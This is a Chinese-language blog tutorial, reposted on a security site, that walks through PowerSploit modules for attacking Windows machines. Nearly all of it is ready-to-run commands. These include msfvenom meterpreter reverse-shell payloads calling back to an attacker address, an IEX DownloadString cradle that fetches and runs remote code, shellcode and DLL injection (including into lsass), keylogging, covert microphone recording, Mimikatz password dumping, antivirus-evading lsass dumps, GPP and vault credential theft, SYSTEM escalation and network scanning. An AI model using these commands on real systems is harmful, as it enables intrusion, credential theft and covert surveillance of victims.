powershell 渗透框架 [PowerSploit]-powershell 渗透框架 [PowerSploit]-华盟网

powershell 渗透框架 [PowerSploit]

华盟学院山东省第二期线下学习计划

0x01 前言:

和nishang一样,PowerSploit也是一款非常实用的powershell渗透框架,下面就其用法做些简要说明

Set-ExecutionPolicy Unrestricted 还是一样,先放开脚本执行限制,实际渗透中自己bypass一下就好了

0x02 命令执行类模块 [CodeExecution]:

Invoke-Shellcode.ps1 向指定进程中注入我们的shellcode,我们可以通过这种方式弹回一个meterpreter,注意shellcode系统位数版本要跟目标的系统一致才行,另外,权限务够也是必须的

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f powershell -o /root/Desktop/shell.txt

# msfconsole 监听刚才的payload配置

powershell 渗透框架 [PowerSploit]

可以看到,当我们注入自己的payload之后meterpreter被正常弹回

PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-Shellcode.ps1

PS C:> IEX (New-Object Net.WebClient).DownloadString('http://192.168.3.6/shell.txt')

PS C:> Invoke-Shellcode -Shellcode @($buf) -ProcessId 6284

powershell 渗透框架 [PowerSploit]

Invoke-WmiCommand.ps1  适用于批量在远程机器上执行系统指令,暂时还有些问题

PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-WmiCommand.ps1

PS C:> $Hosts = Get-Content C:host.txt

PS C:> $Payload = Get-Content C:shell.ps1  问题就在这个payload上

PS C:> $Credential = Get-Credential 'TargetDomainTargetUser' 指定账号,它会提示你输入密码

PS C:> $Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential

powershell 渗透框架 [PowerSploit]

Invoke-DllInjection.ps1 将自己的dll注入到目标机器的指定进程中,务必以administrator或者system权限操作,这里就一个弹回以meterpreter为例

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.6 LPORT=1234 -f dll -o /root/Desktop/shell.dll

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp

msf exploit(handler) > set lport 1234

msf exploit(handler) > set lhost 192.168.3.6

msf exploit(handler) > exploit -j

PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-DllInjection.ps1

PS C:> Invoke-DllInjection -ProcessID 5560 -Dll shell.dll 这里的5560是explorer.exe的进程id,最好不要注入到这个进程里,容易把资源管理器搞崩溃

powershell 渗透框架 [PowerSploit]
powershell 渗透框架 [PowerSploit]

Invoke-ReflectivePEInjection.ps1 远程注入dll,同样,也有些问题

PS C:> Import-Module C:PowerSploitCodeExecutionInvoke-ReflectivePEInjection.ps1

PS C:> $PEBytes = [IO.File]::ReadAllBytes('c:shell.dll')

PS C:> Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName 2008R2DC

0x03 各种信息搜集模块 [Exfiltration]:

截屏

PS C:> Import-Module C:PowerSploitExfiltrationGet-TimedScreenshot.ps1

PS C:> Get-TimedScreenshot -Path c:temp -Interval 5 -EndTime 11:23  每5秒截一次图,到11:23时结束

powershell 渗透框架 [PowerSploit]
powershell 渗透框架 [PowerSploit]

键盘记录,如果是直接用弹回来的meterpreter再开的cmd[shell],直接在那里面用bypass选项执行脚本不太好使

PS C:> Import-Module C:PowerSploitExfiltrationGet-Keystrokes.ps1

PS C:> Get-Keystrokes -LogPath C:tempkey.log -Timeout 2  记录2分钟

powershell 渗透框架 [PowerSploit]
powershell 渗透框架 [PowerSploit]

抓取Windows vault 中保存的各种密码

PS C:> Import-Module C:PowerSploitExfiltrationGet-VaultCredential.ps1

PS C:> Get-VaultCredential

powershell 渗透框架 [PowerSploit]

在域控中查找 registry.xml文件中的自动登录信息[账号密码],还有些问题

PS C:> Import-Module C:PowerSploitExfiltrationGet-GPPAutologon.ps1

PS C:> Get-GPPAutolgon

同上,在域控中搜索groups.xml,scheduledtasks.xml,services.xml和datasources.xml文件中的明文账户密码

PS C:> Import-Module C:PowerSploitExfiltrationGet-GPPPassword.ps1

PS C:> Get-GPPPassword -Server rootkit.org

利用目标机器的麦克风进行录音,然后存到把音频文件存到指定的路径下,当然,前提是目标外设必须要有麦克风才行,这个对个人机会很有用

PS C:> Import-Module C:PowerSploitExfiltrationGet-MicrophoneAudio.ps1

PS C:> Get-MicrophoneAudio -Path c:tempsecret.wav -Length 10 -Alias "tokesn"  录制10秒,然后放到c:temp目录下

powershell 渗透框架 [PowerSploit]

Invoke-TokenManipulation.ps1通常配合Invoke-CredentialInjection.ps1一起使用,一个用来窃取令牌另一个用来注入该令牌

powershell版的mimikatz套件,大家都已经非常熟悉了,这里就不细说了

PS C:> Import-Module C:PowerSploitExfiltrationInvoke-Mimikatz.ps1

PS C:> Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords exit" 抓取系统本地的用户密码明文及hash

powershell 渗透框架 [PowerSploit]
powershell 渗透框架 [PowerSploit]

导出进程数据,免杀抓hash,跟prodump -ma的功能基本一致,想必大家早已经用烂了

PS C:> Import-Module C:PowerSploitExfiltrationOut-Minidump.ps1

PS C:> Get-Process lsass | Out-Minidump -DumpFilePath C:temp

powershell 渗透框架 [PowerSploit]

powershell版的shadowcopy,接下来去里面拷你想拷的文件就好了

PS C:> Import-Module C:PowerSploitExfiltrationVolumeShadowCopyTools.ps1

PS C:> New-VolumeShadowCopy -Volume C:  表示你想对那个分区执行shadowcopy操作

0x04 提权相关的一些模块 [Privesc]:

将当前线程令牌提到system

C:>powershell -sta   这里必须要以sta模式运行powershell

PS C:> Import-Module C:PowerSploitPrivescGet-System.ps1

PS C:> Get-System

powershell 渗透框架 [PowerSploit]

执行提权的各种检查,要检查的内容比较多,如,可执行文件权限,服务运行权限,检查可被劫持的dll位置,检查AlwaysInstallElevated[非授权用户已system运行msi],其它各种可以被利用的注册表项,以及能搜到的各种密码等等……,可直接把检查的结果重定向到指定文件中,对于win提权来讲,绝逼好用,后续有时间我们再单独把它拿出来说

PS C:> Import-Module C:PowerSploitPrivescPowerUp.ps1

PS C:> Invoke-AllChecks | Out-File pri_info.txt

0x05 内网信息搜集的一些小模块 [Recon]

端口扫描,结果可能比较多可以选择把它重定向到指定的文件中,速度虽然不算太快,但也不慢,精度还可以,不过,比用什么专业的端口扫描机器要靠谱多了

PS C:> Import-Module C:PowerSploitReconInvoke-Portscan.ps1

PS C:> Invoke-Portscan -Hosts 192.168.3.0/24 -T 4 -Ports "21,22,23,80,1433,1521,3306,3389" | Out-File port_info.txt

powershell 渗透框架 [PowerSploit]

dns反向解析[其实类似于ip反查],由ip查出所对应的域名,对于定位内网指定机器会很好用

PS C:> Import-Module C:PowerSploitReconInvoke-ReverseDnsLookup.ps1

PS C:> Invoke-ReverseDnsLookup '192.168.3.20-192.168.3.24'

powershell 渗透框架 [PowerSploit]

一样还是通过这种方式,我们可以直接把整个网段存活机器所对应的机器名都跑出来,在域中无疑非常方便,比单纯的net view&批处理还会更好一些

PS C:> Write-Output "192.168.3.0/24" | Invoke-ReverseDnsLookup

0x06 最后,还有一些辅助性的模块

Out-CompressedDll.ps1   编码并压缩指定的dll

Out-EncodedCommand.ps1  对ps进行编码

Out-EncryptedScript.ps1 加密脚本,可以用它来给脚本设置密码[可带盐]

文章出处:klion's blog

www.idc126.com

原文链接:https://klionsec.github.io/2016/10/06/powersploit/

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
2

发表评论